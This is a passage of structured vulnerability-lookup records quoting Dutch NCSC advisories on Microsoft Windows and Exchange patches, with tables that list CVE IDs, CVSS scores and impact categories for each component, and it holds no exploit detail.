|\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:06.224597Z"}, {"uuid": "9bae2c69-12bd-4bce-b9b2-c578e914b9fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54998", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0234", "content": "Microsoft heeft kwetsbaarheden verholpen in Exchange, zowel Online als on-premise. Een kwaadwillende kan de kwetsbaarheden misbruiken om zich voor te doen als andere gebruiker, zich verhoogde rechten toe te kennen, mogelijk willekeurige code uit te voeren en zo toegang te krijgen tot gevoelige gegevens.\n\nDe kwetsbaarheid in Exchange Online is inmiddels door Microsoft centraal verholpen en is opgenomen ter informatie. Hiervoor zijn geen acties benodigd.\n\nDe ernstigste kwetsbaarheid in Exchange Server (on-premise) heeft een CVSS van 9.6 toegewezen gekregen en bevindt zich in Outlook Web Access. Deze kwetsbaarheid stelt een kwaadwillende in staat om een Cross-Site-Scripting-aanval (XSS) uit te voeren en zo toegang te krijgen tot de omgeving van het slachtoffer. Er is (nog) geen actief misbruik waargenomen en er is ook geen Proof-of-Concept-code (PoC) bekend, maar Microsoft geeft aan dat zij de kans op misbruik op korte termijn waarschijnlijk achten. Met name OWA-omgevingen die publiek toegankelijk zijn lopen hierdoor verhoogd risico.\n\n```\nMicrosoft Exchange Online: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54998 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Exchange Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55005 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55006 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55008 | 9.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55009 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-07-14T19:01:01.569757Z"}, {"uuid": "9c5fc399-6ab9-456a-ae57-8063d77b45e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54986", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | 